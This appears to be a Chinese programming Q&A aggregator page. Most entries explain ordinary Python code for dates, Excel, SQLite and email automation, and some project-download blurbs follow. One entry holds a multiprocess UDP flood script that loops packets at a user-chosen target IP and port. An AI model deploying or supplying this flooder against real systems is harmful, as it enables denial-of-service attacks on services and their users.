st = datetime.datetime(2000, 1, 1, 0, 0) time1 = [] for n in time: time1.append(str(st + datetime.timedelta(hours=int(n)))) key = np.array(dataset.variables['t2m'][0, :, :]) dayarray = np.zeros(key.shape, key.dtype) dayarray1 = np.zeros(key.shape, key.dtype) hour = 0 a = 0 for i in range(0, len(time)): dayarray = dayarray + np.array(dataset.variables['t2m'][i, :, :]) hour = hour + 1 if hour % 24 == 0: numarray = np.ones(dayarray.shape, dayarray.dtype) * 24 dayarray = dayarray / numarray out_file = os.path.join(output_dir, time1[a][0:10] + ".tif") print(out_file) write_tiff(out_file, geo, src_srs_wkt, rows, cols, dayarray) a = a + 24 dayarray = dayarray1

时间: 2023-12-19 21:05:50 浏览: 57
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time和datetime两种模块的总结

这段代码使用了datetime、numpy和netCDF4库来处理一个气象数据集。下面是代码的主要步骤和功能： 1. 使用`datetime.datetime`函数创建一个起始时间`st`，作为后续时间计算的基准时间点。 2. 创建一个空列表`time1`，用于存储处理后的时间信息。 3. 使用`datetime.timedelta`函数和`int()`方法将每个时间步长转换为小时，并将其添加到`st`上，得到一个新的时间点。然后将新的时间点转换为字符串，并将其添加到`time1`列表中。 4. 从数据集中读取`t2m`变量的第一个时刻数据，并将其存储在`key`数组中。 5. 创建两个与`key`数组相同大小的、数据类型为`key.dtype`的全零数组`dayarray`和`dayarray1`。`dayarray`用于存储每日的平均温度数据，`dayarray1`用于在每天的结束时清空`dayarray`。 6. 初始化小时数`hour`和文件名计数器`a`。 7. 对于时间步长中的每个值，将相应的变量读取到数组`dayarray`中，并将`hour`加1。 8. 如果`hour`能够被24整除，则说明已经处理完一天的数据，将`dayarray`中的数据除以24得到每日平均温度，并将其写入TIFF格式的文件中。 9. 更新文件名计数器`a`和数组`dayarray`，继续处理下一个时间步长，直到所有时间步长处理完毕。 总的来说，这段代码的主要功能是将气象数据集中的逐小时温度数据转换为每日平均温度，并将结果写入到独立的TIFF文件中。
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java的Date类型转换成MySQL的DateTime类型.docx

for (int i = 0; i ; i++) { if (sMonth.equalsIgnoreCase(MONTH[i])) { if ((i + 1) ) { ret.append("-0"); } else { ret.append("-"); } ret.append(i + 1); break; } } // 提取日 ret.append("-"); ...

def refresh_labels(self): data4 = self.la if not data4.endswith('.xlsx'): data4 += '.xlsx' wo = pinjie filepath = os.path.join(wo, data4) if not os.path.exists(filepath): wb = openpyxl.Workbook() wb.save(filepath) else: wb = openpyxl.load_workbook(filepath) current_time = datetime.datetime.now().time() start_time_1 = datetime.time(8, 0, 0) # 早上8点 end_time_1 = datetime.time(20, 0, 0) # 下午7点 start_time_2 = datetime.time(20, 0, 0) # 晚上8点 end_time_2 = datetime.time(7, 0, 0) # 早上7点 for i, sheet_name in enumerate(self.sheet_names): filtered_rows = [] # 优化第二段代码：检查文件是否存在 filepath = os.path.join(pinjie, self.la + '.xlsx') if os.path.exists(filepath): workbook = xl.load_workbook(filepath) sheet = workbook.active today = datetime.datetime.now().strftime('%Y/%m/%d') cell_value = sheet.cell(row=1, column=1).value if cell_value is not None and cell_value != '': for row in sheet.iter_rows(min_row=1): if row[2].value == today and row[8].value == sheet_name: datetime_obj = datetime.datetime.strptime(row[3].value, '%H:%M:%S') row_time = datetime_obj.time() if start_time_1 <= row_time <= end_time_1 and start_time_1 <= current_time <= end_time_1: filtered_rows.append(row) elif start_time_2 <= row_time or current_time <= end_time_2: filtered_rows.append(row)

这段代码看起来像是Python中处理Excel文件的代码，可以看到它使用了openpyxl库。它的功能是读取一个Excel文件，并对其中的数据进行筛选和过滤，只返回符合特定时间范围的行。具体来说，它首先检查文件是否存在，如果...

def refresh_labels(self): data4 = self.la # 连接到 SQLite 数据库文件，并创建游标对象 cursor() conn = sqlite3.connect(filepath) cursor = conn.cursor() data41 = str(self.la) if not data4.endswith('.xlsx'): data4 += '.xlsx' wo = pinjie filepath = os.path.join(wo, data4) if not os.path.exists(filepath): wb = openpyxl.Workbook() wb.save(filepath) else: wb = openpyxl.load_workbook(filepath) for i, sheet_name in enumerate(self.sheet_names): label = tk.Label(self.unique_listbox, text=sheet_name) label.grid(row=i // 3, column=i % 3, sticky="ew", padx=1, pady=1) current_time = datetime.datetime.now().time() start_time_1 = datetime.time(8, 0, 0) # 早上8点 end_time_1 = datetime.time(20, 0, 0) # 下午7点 start_time_2 = datetime.time(20, 0, 0) # 晚上8点 end_time_2 = datetime.time(7, 0, 0) # 早上7点 for i, sheet_name in enumerate(self.sheet_names): filtered_rows = [] # 优化第二段代码：检查文件是否存在 filepath = os.path.join(pinjie, self.la + '.xlsx') if os.path.exists(filepath): workbook = xl.load_workbook(filepath) sheet = workbook.active today = datetime.datetime.now().strftime('%Y/%m/%d') cell_value = sheet.cell(row=1, column=1).value if cell_value is not None and cell_value != '': for row in sheet.iter_rows(min_row=1): if row[2].value == today and row[8].value == sheet_name: datetime_obj = datetime.datetime.strptime(row[3].value, '%H:%M:%S') row_time = datetime_obj.time() if start_time_1 <= row_time <= end_time_1 and start_time_1 <= current_time <= end_time_1: filtered_rows.append(row) elif start_time_2 <= row_time or current_time <= end_time_2: filtered_rows.append(row) label = self.unique_listbox.grid_slaves(row=i // 3, column=i % 3)[0] if filtered_rows: label.config(text=f"{sheet_name} - 已點檢", fg="green") else: label.config(text=f"{sheet_name} - 未點檢", fg="red")什麽意思

18. start_time_1 = datetime.time(8, 0, 0): 设置早上8点的时间。 19. end_time_1 = datetime.time(20, 0, 0): 设置下午7点的时间。 20. start_time_2 = datetime.time(20, 0, 0): 设置晚上8点的时间。 21...

def refresh_labels(self): data4 = self.la # 连接到 SQLite 数据库文件，并创建游标对象 cursor() conn = sqlite3.connect(filepath) cursor = conn.cursor() data41 = str(self.la) if not data4.endswith('.xlsx'): data4 += '.xlsx' wo = pinjie filepath = os.path.join(wo, data4) if not os.path.exists(filepath): wb = openpyxl.Workbook() wb.save(filepath) else: wb = openpyxl.load_workbook(filepath) for i, sheet_name in enumerate(self.sheet_names): label = tk.Label(self.unique_listbox, text=sheet_name) label.grid(row=i // 3, column=i % 3, sticky="ew", padx=1, pady=1) current_time = datetime.datetime.now().time() start_time_1 = datetime.time(8, 0, 0) # 早上8点 end_time_1 = datetime.time(20, 0, 0) # 下午7点 start_time_2 = datetime.time(20, 0, 0) # 晚上8点 end_time_2 = datetime.time(7, 0, 0) # 早上7点 for i, sheet_name in enumerate(self.sheet_names): filtered_rows = [] # 优化第二段代码：检查文件是否存在 filepath = os.path.join(pinjie, self.la + '.xlsx') if os.path.exists(filepath): workbook = xl.load_workbook(filepath) sheet = workbook.active today = datetime.datetime.now().strftime('%Y/%m/%d') cell_value = sheet.cell(row=1, column=1).value if cell_value is not None and cell_value != '': for row in sheet.iter_rows(min_row=1): if row[2].value == today and row[8].value == sheet_name: datetime_obj = datetime.datetime.strptime(row[3].value, '%H:%M:%S') row_time = datetime_obj.time() if start_time_1 <= row_time <= end_time_1 and start_time_1 <= current_time <= end_time_1: filtered_rows.append(row) elif start_time_2 <= row_time or current_time <= end_time_2: filtered_rows.append(row) label = self.unique_listbox.grid_slaves(row=i // 3, column=i % 3)[0] if filtered_rows: label.config(text=f"{sheet_name} - 已點檢", fg="green") else: label.config(text=f"{sheet_name} - 未點檢", fg="red")將這段代碼重拼接的excel修改為sqlite3，然後將在這個excel所作的操作，修改為到sqlite3中，其他判斷條件不變，和顯示需求不變

start_time_1 = datetime.time(8, 0, 0) # 早上8点 end_time_1 = datetime.time(20, 0, 0) # 下午7点 start_time_2 = datetime.time(20, 0, 0) # 晚上8点 end_time_2 = datetime.time(7, 0, 0) # 早上7点 for i, ...

import datetime # a = datetime.datetime.now() def day_get(d): if type(d).__name__ == "str": d = datetime.datetime.strptime(d, '%Y-%m-%d %H:%M:%S') oneday = datetime.timedelta(days=1) day = d - oneday date_from = datetime.datetime(day.year, day.month, day.day, 0, 0, 0) date_to = datetime.datetime(day.year, day.month, day.day, 23, 59, 59) print('---'.join([str(date_from), str(date_to)])) def week_get(d): if type(d).__name__ == "str": d = datetime.datetime.strptime(d, '%Y-%m-%d %H:%M:%S') dayscount = datetime.timedelta(days=d.isoweekday()) dayto = d - dayscount sixdays = datetime.timedelta(days=6) dayfrom = dayto - sixdays date_from = datetime.datetime(dayfrom.year, dayfrom.month, dayfrom.day, 0, 0, 0) date_to = datetime.datetime(dayto.year, dayto.month, dayto.day, 23, 59, 59) datelist = [[str(date_from)], [str(date_to)]] # print('---'.join([str(date_from), str(date_to)])) return datelist def multi_week_get(d, num): if type(d).__name__ == "str": d = datetime.datetime.strptime(d, '%Y-%m-%d %H:%M:%S') date_num = [] # date_num = [date_to1] for i in range(num - 1, 0, -1): dayscount = datetime.timedelta(days=d.isoweekday()) dayto = d - dayscount sixdays = datetime.timedelta(days=6 * i) dayfrom = dayto - sixdays date_from = str(datetime.datetime(dayfrom.year, dayfrom.month, dayfrom.day, 10, 0, 0)) date_num.append(date_from) dayscount1 = datetime.timedelta(days=d.isoweekday()) onedays = datetime.timedelta(days=1) dayto1 = d - dayscount1 + onedays date_to1 = str(datetime.datetime(dayto1.year, dayto1.month, dayto1.day, 10, 0, 0)) date_num.append(date_to1) return date_num def month_get(d): if type(d).__name__ == "str": d = datetime.datetime.strptime(d, '%Y-%m-%d %H:%M:%S') dayscount = datetime.timedelta(days=d.day) dayto = d - dayscount date_from = datetime.datetime(dayto.year, dayto.month, 1, 0, 0, 0) date_to = datetime.datetime(dayto.year, dayto.month, dayto.day, 23, 59, 59) # print('---'.join([str(date_from), str(date_to)])) datelist = [[str(date_from)], [str(date_to)]] return datelist class op_date(object): def week_get(self, param): pass if __name__ == "__main__": op_date = op_date() # print(op_date.week_get("2023-06-09 23:00:00")[0]) print(op_date.week_get("2023-06-09 23:00:00")[1]) print(multi_week_get("2023-06-09 23:00:00", 4))

这段代码是关于日期时间的操作，包括获取前一天、上一周、上几周、上个月的起止时间。其中，day_get函数获取前一天的起止时间，week_get函数获取上一周的起止时间，multi_week_get函数获取上几周的起始时间，month_...

for i, sheet_name in enumerate(self.sheet_names): filtered_rows = [] # 优化第二段代码：检查文件是否存在 filepath = os.path.join(pinjie, self.la + '.xlsx') if os.path.exists(filepath): workbook = xl.load_workbook(filepath) sheet = workbook.active today = datetime.datetime.now().strftime('%Y/%m/%d') cell_value = sheet.cell(row=1, column=1).value if cell_value is not None and cell_value != '': for row in sheet.iter_rows(min_row=1): if row[2].value == today and row[8].value == sheet_name: datetime_obj = datetime.datetime.strptime(row[3].value, '%H:%M:%S') row_time = datetime_obj.time() if start_time_1 <= row_time <= end_time_1 and start_time_1 <= current_time <= end_time_1: filtered_rows.append(row) elif start_time_2 <= row_time or current_time <= end_time_2: filtered_rows.append(row) label = self.unique_listbox.grid_slaves(row=i // 3, column=i % 3)[0] if filtered_rows: label.config(text=f"{sheet_name} - 已點檢", fg="green") else: label.config(text=f"{sheet_name} - 未點檢", fg="red")是什麽意思

其中，start_time_1、end_time_1、start_time_2 和 end_time_2 是预先设定好的时间范围，current_time 是当前时间。如果符合条件，就将此行记录添加到 filtered_rows 列表中。最后将 filtered_rows 列表是否为空来...

from datetime import datetime import xlwings as xw f=[],s=[] app=xw.App() wb=app.books.open("E:/加油卡加油记录.xlsx") m=wb.sheets[0].range("a7:t1000").value name=set(wb.sheets[0].range("a3:a1000").value) date=wb.sheets[0].range("b3:b1000").value wb.close() for i in date: if i is not None: d = datetime.strptime(i, "%Y-%m-%d %H:%M:%S") s.append(d) date=set(s) for t in name: for d in date: n=0 for x in m: if x[4]=="加油" and x[1]==t and x[9]==d: n=n+1 if n>1: f.append(t) print(f)

for i in date: if i is not None: d = datetime.strptime(i, "%Y-%m-%d %H:%M:%S") s.append(d) 在 for 循环的下一行，if i is not None: 的缩进应该比 for 循环的缩进多一个层级。这样才能将 if 语句...

from datetime import datetime import xlwings as xw f=[] s=[] app=xw.App() wb=app.books.open("E:/交通局/1.市交通局机关2021年预算执行审计/加油卡加油记录.xlsx") m=wb.sheets[0].range("a7:t1000").value name=set(wb.sheets[0].range("a3:a1000").value) date=wb.sheets[0].range("b3:b1000").value wb.close() for i in date: if i is not None: d = datetime.strptime(i, "%Y-%m-%d %H:%M:%S") s.append(d) date=set(s) for t in name: for d in date: n=0 for x in m: if x[4]=="加油" and x[1]==t and x[9]==d: n=n+1 if n>1: f.append(t) print(f)

你的代码看起来很完整，你想要知道为什么在运行后没有得到预期的输出结果是吗？ 在你的代码中，你使用了 xlwings 库来打开和读取 Excel 文件中的数据。然后，你使用了一些逻辑来计算满足条件的结果，并将其添加到...

workbook2=load_workbook(filename='月度计划信息导入模板（二班）.xlsx') ws02=workbook2.active def go(): global g now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') now1=datetime.datetime.strptime(now, '%Y-%m-%d %H:%M:%S') ti=[] def tishi(): messagebox.showinfo('还有1分钟') for x in range(2, ws02.max_row + 1): num_t = str(ws02['D' + str(x)].value) num_t = datetime.datetime.strptime(num_t, '%Y-%m-%d %H:%M:%S') num11 = num_t - datetime.timedelta(minutes=2) if now1 < num11: ti.append(num11) print(ti) for hi in ti: root1 = tkinter.Tk() root1.withdraw() root1.after((hi - now1).seconds * 1000, tishi) root1.mainloop() g = threading.Timer(1, go) g.start()

在代码中，定义了一个名为 go() 的函数，该函数中使用了一些全局变量和局部变量，包括 g、now、now1、ti、tishi() 等。其中，g 是一个定时器，每隔 1 秒钟执行一次 go() 函数；now 是当前的时间戳...

data.fillna(method='ffill', inplace=True) date_history,data_history = pd.DataFrame(data.iloc[:, 0]) data_history = pd.DataFrame(data.iloc[:, 1]) date_history = np.array(date_history) data_history = [x for item in np.array(data_history).tolist() for x in item] # 缺失值处理 history_time_list = [] for date in date_history: date_obj = datetime.datetime.strptime(date[0], '%Y/%m/%d %H:%M') #将字符串转为 datetime 对象 history_time_list.append(date_obj) start_time = history_time_list[0] # 起始时间 end_time = history_time_list[-1] # 结束时间 delta = datetime.timedelta(minutes=15) #时间间隔为15分钟 time_new_list = [] current_time = start_time while current_time <= end_time: time_new_list.append(current_time) current_time += delta # 缺失位置记录 code_list = [] for i in range(len(time_new_list)): code_list = code_list history_time_list = history_time_list while (time_new_list[i] - history_time_list[i]) != datetime.timedelta(minutes=0): history_time_list.insert(i, time_new_list[i]) code_list.append(i) for i in code_list: data_history.insert(i, data_history[i - 1]) # 输出补充好之后的数据 data = pd.DataFrame({'date': time_new_list, 'load': data_history}) return data 代码优化

date_history = np.array([datetime.datetime.strptime(date, '%Y/%m/%d %H:%M') for date in date_history]) start_time, end_time = date_history[0], date_history[-1] delta = datetime.timedelta(minutes=15) ...

代码优化： # 两个参数传入，场景为：指定脚本执行时间范围 elif len(sys.argv) == 3: dates = [] start_time = datetime.strptime(sys.argv[1], '%Y%m%d') end_time = datetime.strptime(sys.argv[2], '%Y%m%d') if start_time >= end_time: print('输入的时间范围错误，开始时间应小于结束时间\n正确示例：python xxx.py 20230510 20230515') else: delta = timedelta(days=1) while start_time <= end_time: dates.append(start_time.strftime('%Y%m%d')) start_time += delta parse_json_data(dates, data_path, insert_db) # 三个参数传入，场景为：执行指定时间范围 和 指定插入数据库 elif len(sys.argv) == 4: insert_db = sys.argv[1] dates = [] start_time = datetime.strptime(sys.argv[2], '%Y%m%d') end_time = datetime.strptime(sys.argv[3], '%Y%m%d') if start_time >= end_time: print('输入的时间范围错误，开始时间应小于结束时间\n正确示例：python xxx.py 20230510 20230515') else: delta = timedelta(days=1) while start_time <= end_time: dates.append(start_time.strftime('%Y%m%d')) start_time += delta parse_json_data(dates, data_path, insert_db)

dates = [(start_time + timedelta(days=i)).strftime('%Y%m%d') for i in range((end_time - start_time).days + 1)] parse_json_data(dates, data_path, insert_db) 这里用了 set 的方式判断输入参数的个数...

def forecast(request): ctx = {'points': []} if request.POST: try: location = request.POST['位置'] la, lo = getCoordinate(request.POST['位置']) except: la = 104.23726561721571 # 所有二手房的均值 lo = 30.520141715355887 location = "不明" keys = ['区', '所处楼层级别', '总楼层数', '建造年份', '面积', '朝向', '是否近地铁'] parameters = [] for i in range(7): value = request.POST[keys[i]] if value == "": parameters.append(-1) elif i == 4: parameters.append(float(value)) else: parameters.append(int(value)) parameters.extend([datetime.datetime.now().year, datetime.datetime.now().month, datetime.datetime.now().day, la, lo]) ctx['预测价格'] = CART(parameters)[0].round(decimals=2) ctx['points'] = json.dumps([{"lng": lo, "lat": la, "name": location}]) # 避免被转义 return render(request, "forecast.html", ctx)

如果某个输入变量的值为空，则将其替换为 -1。如果输入变量是面积，则将其转换为浮点数。否则，将其转换为整数。接着，函数将当前的年、月、日以及经纬度添加到 parameters 中。最后，函数使用 CART() 函数预测...

now = datetime.datetime.now().time() # 获取当前时间 if now >= datetime.time(8, 0, 0) and now <= datetime.time(19, 0, 0): # 当前时间在08:00到19:00之间 img_path = 'D:\出勤人力白班.PNG' else: # 当前时间不在08:00到19:00之间 img_path = 'D:\出勤人力夜班.PNG' # 打开 Excel 文件 wb = openpyxl.load_workbook(r'D:\出勤匯總\郵件.xlsx') # 选择工作表 ws = wb.active # 读取一列数据并生成列表郵件收件人 recipients = [] for cell in ws['A']: recipients.append(cell.value) # 读取一列数据并生成列表郵件CC recipients1 = [] for cell in ws['B']: recipients1.append(cell.value) # 使用 Outlook API 发送电子邮件 outlook = win32com.client.Dispatch('Outlook.Application') mail = outlook.CreateItem(0) mail.To = ";".join(recipients) mail.CC = ";".join(recipients1) mail.Subject = '自動報告5 出勤人力' # 添加图片到正文中 attachment = mail.Attachments.Add(img_path, 6, 0) html_body = f'<html><body>Dear sir:如下為每日加班管控明細,還請查閲,tks!!!</body></html>' mail.HTMLBody = html_body attachment = mail.Attachments.Addr("D:\出勤匯總\SMT部編制人力.xlsm") mail.Send() 報TypeError: sequence item 1: expected str instance, NoneType found怎麽修改

if now >= datetime.time(8, 0, 0) and now <= datetime.time(19, 0, 0): # 当前时间在08:00到19:00之间 img_path = 'D:\出勤人力白班.PNG' else: # 当前时间不在08:00到19:00之间 img_path = 'D:\出勤人力夜班....

def attack(P_num,ip,port): import sys import os import time import socket import random # Code Time from datetime import datetime now = datetime.now() hour = now.hour minute = now.minute day = now.day month = now.month year = now.year sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sent=0 while True: sock.sendto(bytes, (ip, port)) sent = sent + 1 port = port + 1 print("%s Proccess Sent %s packet to %s throught port:%s" % (P_num,sent, ip, port)) if port == 65534: port = 1 if __name__ == '__main__': import os from multiprocessing import Process ip = input("IP Target : ") port = int(input("Port : ")) num=input("并行数 :") list=[] for i in range(int(num)): p=Process(target=attack,args=(i,ip,port)) list.append(p) for i in list: i.start() for i in list: i.join()

这是一个Python函数，用于进行攻击。...在函数中，导入了一些必要的Python库，包括"sys"、"os"、"time"和"socket"等。同时，还导入了"random"库，用于生成随机数。 该函数的具体实现需要看更多代码。
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MATLAB-四连杆机构的仿真+项目源码+文档说明

<项目介绍> - 四连杆机构的仿真 --m3_1.m: 位置问题求解 --m2_1.m: 速度问题求解 --FourLinkSim.slx: Simlink基于加速度方程的仿真 --FourLinkSim2.slx: Simscape简化模型仿真 --FourLinkSim3.slx: Simscape CAD模型仿真 - 不懂运行，下载完可以私聊问，可远程教学 1、该资源内项目代码都经过测试运行成功，功能ok的情况下才上传的，请放心下载使用！ 2、本项目适合计算机相关专业(如计科、人工智能、通信工程、自动化、电子信息等)的在校学生、老师或者企业员工下载学习，也适合小白学习进阶，当然也可作为毕设项目、课程设计、作业、项目初期立项演示等。 3、如果基础还行，也可在此代码基础上进行修改，以实现其他功能，也可用于毕设、课设、作业等。 下载后请首先打开README.md文件（如有），仅供学习参考, 切勿用于商业用途。 --------
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ridge_regression:用于岭回归的python代码（已实现以预测下个月的CO2浓度）

ridge_regression 用于岭回归的python代码（已实现以预测下个月的CO2浓度） 资料可用性 文件 Ridge.py ：标准函数和Ridge回归函数window_make.py ：使用滑动窗口方法制作大小为p（窗口大小）的时间序列列表。 Final_version.ipynb ：使用Co2数据对代码进行实验
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Polygon3-3.0.8-cp35-cp35m-win_amd64.whl.rar

python whl离线安装包 pip安装失败可以尝试使用whl离线安装包安装 第一步 下载whl文件，注意需要与python版本配套 python版本号、32位64位、arm或amd64均有区别 第二步 使用pip install XXXXX.whl 命令安装，如果whl路径不在cmd窗口当前目录下，需要带上路径 WHL文件是以Wheel格式保存的Python安装包， Wheel是Python发行版的标准内置包格式。 在本质上是一个压缩包，WHL文件中包含了Python安装的py文件和元数据，以及经过编译的pyd文件， 这样就使得它可以在不具备编译环境的条件下，安装适合自己python版本的库文件。 如果要查看WHL文件的内容，可以把.whl后缀名改成.zip，使用解压软件（如WinRAR、WinZIP）解压打开即可查看。 为什么会用到whl文件来安装python库文件呢？ 在python的使用过程中，我们免不了要经常通过pip来安装自己所需要的包， 大部分的包基本都能正常安装，但是总会遇到有那么一些包因为各种各样的问题导致安装不了的。 这时我们就可以通过尝试去Python安装包大全中（whl包下载）下载whl包来安装解决问题。
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【java毕业设计】风俗文化管理系统源码（ssm+mysql+说明文档+LW）.zip

功能说明： 系统主要分为系统管理员和用户两个部分，系统管理员主要功能包括首页,个人中心,用户管理,节日风俗管理,饮食风俗管理，服饰风俗管理，礼仪风俗管理，信仰风俗管理，建筑风俗管理,我的收藏管理，留言板管理，论坛管理，系统管理。 环境说明： 开发语言：Java 框架：ssm，mybatis JDK版本：JDK1.8 数据库：mysql 5.7及以上 数据库工具：Navicat11及以上 开发软件：eclipse/idea Maven包：Maven3.3及以上 服务器：tomcat7及以上

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MATLAB-四连杆机构的仿真+项目源码+文档说明

<项目介绍> - 四连杆机构的仿真 --m3_1.m: 位置问题求解 --m2_1.m: 速度问题求解 --FourLinkSim.slx: Simlink基于加速度方程的仿真 --FourLinkSim2.slx: Simscape简化模型仿真 --FourLinkSim3.slx: Simscape CAD模型仿真 - 不懂运行，下载完可以私聊问，可远程教学 1、该资源内项目代码都经过测试运行成功，功能ok的情况下才上传的，请放心下载使用！ 2、本项目适合计算机相关专业(如计科、人工智能、通信工程、自动化、电子信息等)的在校学生、老师或者企业员工下载学习，也适合小白学习进阶，当然也可作为毕设项目、课程设计、作业、项目初期立项演示等。 3、如果基础还行，也可在此代码基础上进行修改，以实现其他功能，也可用于毕设、课设、作业等。 下载后请首先打开README.md文件（如有），仅供学习参考, 切勿用于商业用途。 --------
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ridge_regression:用于岭回归的python代码（已实现以预测下个月的CO2浓度）

ridge_regression 用于岭回归的python代码（已实现以预测下个月的CO2浓度） 资料可用性 文件 Ridge.py ：标准函数和Ridge回归函数window_make.py ：使用滑动窗口方法制作大小为p（窗口大小）的时间序列列表。 Final_version.ipynb ：使用Co2数据对代码进行实验
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SSM Java项目：StudentInfo 数据管理与可视化分析

资源摘要信息:"StudentInfo 2.zip文件是一个压缩包，包含了多种数据可视化和数据分析相关的文件和代码。根据描述，此压缩包中包含了实现人员信息管理系统的增删改查功能，以及生成饼图、柱状图、热词云图和进行Python情感分析的代码或脚本。项目使用了SSM框架，SSM是Spring、SpringMVC和MyBatis三个框架整合的简称，主要应用于Java语言开发的Web应用程序中。 ### 人员增删改查 人员增删改查是数据库操作中的基本功能，通常对应于CRUD（Create, Retrieve, Update, Delete）操作。具体到本项目中，这意味着实现了以下功能： - 增加（Create）：可以向数据库中添加新的人员信息记录。 - 查询（Retrieve）：可以检索数据库中的人员信息，可能包括基本的查找和复杂的条件搜索。 - 更新（Update）：可以修改已存在的人员信息。 - 删除（Delete）：可以从数据库中移除特定的人员信息。 实现这些功能通常需要编写相应的后端代码，比如使用Java语言编写服务接口，然后通过SSM框架与数据库进行交互。 ### 数据可视化 数据可视化部分包括了生成饼图、柱状图和热词云图的功能。这些图形工具可以直观地展示数据信息，帮助用户更好地理解和分析数据。具体来说： - 饼图：用于展示分类数据的比例关系，可以清晰地显示每类数据占总体数据的比例大小。 - 柱状图：用于比较不同类别的数值大小，适合用来展示时间序列数据或者不同组别之间的对比。 - 热词云图：通常用于文本数据中，通过字体大小表示关键词出现的频率，用以直观地展示文本中频繁出现的词汇。 这些图表的生成可能涉及到前端技术，如JavaScript图表库（例如ECharts、Highcharts等）配合后端数据处理实现。 ### Python情感分析 情感分析是自然语言处理（NLP）的一个重要应用，主要目的是判断文本的情感倾向，如正面、负面或中立。在这个项目中，Python情感分析可能涉及到以下几个步骤： - 文本数据的获取和预处理。 - 应用机器学习模型或深度学习模型对预处理后的文本进行分类。 - 输出情感分析的结果。 Python是实现情感分析的常用语言，因为有诸如NLTK、TextBlob、scikit-learn和TensorFlow等成熟的库和框架支持相关算法的实现。 ### IJ项目与readme文档 "IJ项目"可能是指IntelliJ IDEA项目，IntelliJ IDEA是Java开发者广泛使用的集成开发环境（IDE），支持SSM框架。readme文档通常包含项目的安装指南、运行步骤、功能描述、开发团队和联系方式等信息，是项目入门和理解项目结构的首要参考。 ### 总结 "StudentInfo 2.zip"是一个综合性的项目，涉及到后端开发、前端展示、数据分析及自然语言处理等多个技术领域。通过这个项目，可以学习到如何使用SSM框架进行Web应用开发、实现数据可视化和进行基于Python的情感分析。这对于想要掌握Java Web开发和数据处理能力的学习者来说是一个很好的实践机会。
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管理建模和仿真的文件

管理Boualem Benatallah引用此版本：布阿利姆·贝纳塔拉。管理建模和仿真。约瑟夫-傅立叶大学-格勒诺布尔第一大学，1996年。法语。NNT：电话：00345357HAL ID：电话：00345357https://theses.hal.science/tel-003453572008年12月9日提交HAL是一个多学科的开放存取档案馆，用于存放和传播科学研究论文，无论它们是否被公开。论文可以来自法国或国外的教学和研究机构，也可以来自公共或私人研究中心。L’archive ouverte pluridisciplinaire
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负载均衡技术深入解析：确保高可用性的网络服务策略

![负载均衡技术深入解析：确保高可用性的网络服务策略](https://media.geeksforgeeks.org/wp-content/uploads/20240130183502/Source-IP-hash--(1).webp) # 1. 负载均衡技术概述 ## 1.1 负载均衡技术的重要性 在现代信息技术不断发展的今天，互联网应用的规模和服务的复杂性日益增长。因此，为了确保高性能、高可用性和扩展性，负载均衡技术变得至关重要。它能够有效地分配和管理网络或应用程序的流量，使得服务器和网络资源得以最优利用。 ## 1.2 负载均衡技术的基本概念 负载均衡是一种网络流量管理技术，旨
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怎么解决头文件重复包含

解决头文件重复包含的问题主要有以下几个策略： 1. **包含 guards**：在头文件开头添加一种特殊的标识符（通常是宏），如 `#ifndef` 和 `#define` 对组合，检查某个特定宏是否已经定义过。如果没有定义，则包含内容，然后设置该宏。如果在同一文件内再次包含，由于宏已经存在，就不会再执行包含的内容，从而避免重复。 ```cpp #ifndef HEADER_NAME_H_ #define HEADER_NAME_H_ // 内容... #endif // HEADER_NAME_H_ ``` 2. **使用 extern 关键字**：对于非静态变量和函数，可以将它们
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pyedgar：Python库简化EDGAR数据交互与文档下载

资源摘要信息:"pyedgar:用于与EDGAR交互的Python库" 知识点说明： 1. pyedgar库概述： pyedgar是一个Python编程语言下的开源库，专门用于与美国证券交易委员会（SEC）的电子数据获取、访问和检索（EDGAR）系统进行交互。通过该库，用户可以方便地下载和处理EDGAR系统中公开提供的财务报告和公司文件。 2. EDGAR系统介绍： EDGAR系统是一个自动化系统，它收集、处理、验证和发布美国证券交易委员会（SEC）要求的公司和其他机构提交的各种文件。EDGAR数据库包含了美国上市公司的详细财务报告，包括季度和年度报告、委托声明和其他相关文件。 3. pyedgar库的主要功能： 该库通过提供两个主要接口：文件（.py）和索引，实现了对EDGAR数据的基本操作。文件接口允许用户通过特定的标识符来下载和交互EDGAR表单。索引接口可能提供了对EDGAR数据库索引的访问，以便快速定位和获取数据。 4. pyedgar库的使用示例： 在描述中给出了一个简单的使用pyedgar库的例子，展示了如何通过Filing类与EDGAR表单进行交互。首先需要从pyedgar模块中导入Filing类，然后创建一个Filing实例，其中第一个参数（20）可能代表了提交年份的最后两位，第二个参数是一个特定的提交号码。创建实例后，可以打印实例来查看EDGAR接口的返回对象，通过打印实例的属性如'type'，可以获取文件的具体类型（例如10-K），这代表了公司提交的年度报告。 5. Python语言的应用： pyedgar库的开发和应用表明了Python语言在数据分析、数据获取和自动化处理方面的强大能力。Python的简洁语法和丰富的第三方库使得开发者能够快速构建工具以处理复杂的数据任务。 6. 压缩包子文件信息： 文件名称列表中的“pyedgar-master”表明该库可能以压缩包的形式提供源代码和相关文件。文件列表中的“master”通常指代主分支或主版本，在软件开发中，主分支通常包含了最新的代码和功能。 7. 编程实践建议： 在使用pyedgar库之前，建议先阅读官方文档，了解其详细的安装、配置和使用指南。此外，进行编程实践时，应当注意遵守SEC的使用条款，确保只下载和使用公开提供的数据。 8. EDGAR数据的应用场景： EDGAR数据广泛应用于金融分析、市场研究、合规性检查、学术研究等领域。通过编程访问EDGAR数据可以让用户快速获取到一手的财务和公司运营信息，从而做出更加明智的决策。 9. Python库的维护和更新： 随着EDGAR数据库内容的持续更新和变化，pyedgar库也应定期进行维护和更新，以保证与EDGAR系统的接口兼容性。开发者社区对于这类开源项目的支持和贡献也非常重要。 10. 注意事项： 在使用pyedgar库下载和处理数据时，用户应当确保遵守相应的法律法规，尤其是关于数据版权和隐私方面的规定。此外，用户在处理敏感数据时，还需要考虑数据安全和隐私保护的问题。
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"互动学习：行动中的多样性与论文攻读经历"

